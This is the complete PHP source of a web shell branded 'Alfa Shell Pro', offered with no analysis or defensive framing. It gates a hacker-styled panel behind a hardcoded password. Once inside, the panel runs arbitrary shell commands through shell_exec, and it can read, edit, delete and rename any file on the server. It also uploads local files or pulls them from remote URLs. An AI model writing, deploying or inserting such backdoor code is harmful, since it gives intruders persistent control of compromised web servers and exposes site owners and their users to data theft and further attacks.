ruạṛ
<?php session_start(); error_reporting(0); set_time_limit(0); // --- LOGIN SYSTEM --- $user = "admin"; $pass = "Jaka@1233@123"; if (isset($_POST['login'])) { if ($_POST['u'] == $user && $_POST['p'] == $pass) $_SESSION['alfa_session'] = true; } if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; } if (!isset($_SESSION['alfa_session'])) { die('<body style="background:#000;color:#0f0;display:flex;justify-content:center;align-items:center;height:100vh;font-family:monospace;"> <form method="POST"><h3>[ ALFA LOGIN ]</h3> User: <input type="text" name="u" style="background:#000;border:1px solid #333;color:#0f0;"><br><br> Pass: <input type="password" name="p" style="background:#000;border:1px solid #333;color:#0f0;"><br><br> <button type="submit" name="login" style="width:100%;background:#0f0;color:#000;border:none;cursor:pointer;">ENTER</button></form></body>'); } // --- PATH & DIRECTORY --- $path = isset($_GET['path']) ? realpath($_GET['path']) : realpath(__DIR__); if (!is_dir($path)) $path = realpath(__DIR__); chdir($path); // --- LOGIKA AKSI --- if (isset($_POST['save_file'])) { file_put_contents($_POST['filepath'], $_POST['filecontent']); } if (isset($_POST['do_rename'])) { rename($_POST['old_name'], $path . '/' . $_POST['new_name']); } if (isset($_POST['do_make_file'])) { file_put_contents($path . '/' . $_POST['n_file'], ""); } if (isset($_POST['do_make_dir'])) { mkdir($path . '/' . $_POST['n_dir']); } if (isset($_GET['del'])) { $target = $_GET['del']; is_dir($target) ? rmdir($target) : unlink($target); header("Location: ?path=".urlencode($path)); exit; } if (isset($_POST['do_upload'])) { move_uploaded_file($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name']); } if (isset($_POST['rem_upload'])) { copy($_POST['url'], $path.'/'.basename($_POST['url'])); } function get_pwd($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $res = ""; $acc = ""; foreach ($parts as $p) { if ($p == "") continue; $acc .= DIRECTORY_SEPARATOR . $p; $res .= DIRECTORY_SEPARATOR . '<a href="?path='.urlencode($acc).'" style="color:#0f0;text-decoration:none;">'.$p.'</a>'; } return $res; } ?> <!DOCTYPE html> <html> <head> <title>Alfa Shell Pro - Full Features</title> <style> body { background: #000; color: #c9d1d9; font-family: monospace; font-size: 12px; margin: 0; } .pwd-bar { background: #000; padding: 10px; border-left: 5px solid #0f0; border-bottom: 1px solid #333; } .nav { display: flex; gap: 5px; padding: 10px; background: #0d1117; } .btn-nav { border: 1px solid #333; padding: 4px 10px; color: #0f0; background: #161b22; cursor: pointer; text-decoration: none; border-radius:3px; } table { width: 100%; border-collapse: collapse; } th { background: #161b22; color: #8b949e; padding: 8px; text-align: left; } td { padding: 6px 10px; border-bottom: 1px solid #21262d; } .action-link { color: #fff; text-decoration: none; margin-right: 8px; font-weight: bold; } input[type="text"], textarea { background: #000; border: 1px solid #333; color: #0f0; padding: 5px; } .go { color: #0f0; background: none; border: none; cursor: pointer; font-size: 16px; font-weight: bold; } #rem-pop { display:none; position:fixed; top:30%; left:50%; transform:translate(-50%,-50%); background:#000; border:2px solid #0f0; padding:20px; z-index:99; width:450px; text-align:center; } pre { background: #0d1117; color: #0f0; padding: 10px; border: 1px solid #333; overflow: auto; max-height: 400px; text-align: left; } </style> </head> <body> <div class="pwd-bar">PWD: <?php echo get_pwd($path); ?> <a href="?logout=1" style="color:red; float:right;">[ Logout ]</a></div> <div class="nav"> <a href="?path=<?php echo urlencode($path); ?>" class="btn-nav">Refresh</a> <a href="#" class="btn-nav" onclick="document.getElementById('rem-pop').style.display='block'">Remote Upload</a> <a href="?action=terminal&path=<?php echo urlencode($path); ?>" class="btn-nav">Terminal</a> </div> <div id="rem-pop"> <div style="background:#0f0; color:#000; padding:5px; margin-bottom:15px; font-weight:bold;">| Upload From Url |</div> <form method="POST"> Url: <input type="text" name="url" style="width:80%;" placeholder="http://site.com/file.txt"><br> <p style="font-size:10px; color:#888;">Target: <?php echo $path; ?></p> <button type="submit" name="rem_upload" class="go">» EXECUTE</button> <button type="button" onclick="document.getElementById('rem-pop').style.display='none'" style="color:red; background:none; border:none; cursor:pointer;">[ Close ]</button> </form> </div> <?php if (isset($_GET['action']) && $_GET['action'] == 'terminal'): ?> <div style="padding:20px;"> <h3 style="color:#0f0;">>__ Terminal Console (Path: <?php echo $path; ?>)</h3> <form method="POST"> <input type="text" name="cmd" style="width:80%;" autofocus> <button type="submit" name="exec_cmd" class="go">» EXECUTE</button> </form> <?php if(isset($_POST['exec_cmd'])): ?> <pre><?php echo htmlspecialchars(shell_exec("timeout 10 " . $_POST['cmd'] . " 2>&1")); ?></pre> <?php endif; ?> </div> <?php elseif(isset($_GET['edit'])): ?> <div style="padding:20px;"> <h3 style="color:#0f0;">Editing: <span style="color:#fff;"><?php echo basename($_GET['edit']); ?></span></h3> <form method="POST"> <input type="hidden" name="filepath" value="<?php echo $_GET['edit']; ?>"> <textarea name="filecontent" style="width:100%; height:450px;"><?php echo htmlspecialchars(file_get_contents($_GET['edit'])); ?></textarea><br><br> <button type="submit" name="save_file" class="btn-nav" style="background:#0f0; color:#000;">SAVE FILE</button> </form> </div> <?php elseif(isset($_GET['ren'])): ?> <div style="padding:20px; text-align:center;"> <h3 style="color:#0f0; text-align:left;">Rename: <span style="color:#fff;"><?php echo basename($_GET['ren']); ?></span></h3> <form method="POST"> <input type="hidden" name="old_name" value="<?php echo $_GET['ren']; ?>"> <input type="text" name="new_name" value="<?php echo basename($_GET['ren']); ?>" style="width:300px;"> <button type="submit" name="do_rename" class="btn-nav">OK</button> </form> </div> <?php else: ?> <table> <thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr></thead> <tbody> <?php foreach (scandir($path) as $item): if($item == "." || $item == "..") continue; $f = $path.'/'.$item; $isDir = is_dir($f); ?> <tr> <td><?php echo $isDir ? '<span style="color:#e3b341;">📁</span>' : '📄'; ?> <a href="?path=<?php echo urlencode($isDir ? $f : $path); ?><?php echo !$isDir ? "&edit=".urlencode($f) : ""; ?>" style="color:<?php echo $isDir?'#e3b341':'#ccc';?>; text-decoration:none;"><?php echo $item; ?></a> </td> <td><?php echo $isDir ? 'dir' : round(filesize($f)/1024, 2).' KB'; ?></td> <td style="color:#0f0;"><?php echo substr(sprintf('%o', fileperms($f)), -4); ?></td> <td> <span class="action-link">R</span><span class="action-link">T</span> <a href="?edit=<?php echo urlencode($f); ?>&path=<?php echo urlencode($path); ?>" class="action-link" style="color:#58a6ff;">E</a> <a href="?del=<?php echo urlencode($f); ?>&path=<?php echo urlencode($path); ?>" class="action-link" style="color:red;" onclick="return confirm('Hapus?')">D</a> <a href="?ren=<?php echo urlencode($f); ?>&path=<?php echo urlencode($path); ?>" class="action-link" style="color:#0f0;">X</a> </td> </tr> <?php endforeach; ?> </tbody> </table> <div style="background: #0d1117; border-top: 1px solid #333; padding: 20px; display: flex; flex-wrap: wrap; justify-content: space-around; gap: 10px; margin-top:10px;"> <div>Make File:<br><form method="POST"><input type="text" name="n_file"><button name="do_make_file" class="go"> »</button></form></div> <div>Make Dir:<br><form method="POST"><input type="text" name="n_dir"><button name="do_make_dir" class="go"> »</button></form></div> <div>Upload Ke: <span style="color:#0f0;"><?php echo basename($path); ?></span><br> <form method="POST" enctype="multipart/form-data"><input type="file" name="file"><button name="do_upload" class="go"> »</button></form> </div> </div> <?php endif; ?> <div style="text-align:center; color:#444; padding:20px;">[ ./AlfaTeam © 2012-2026 ]</div> </body> </html>
cải xoăn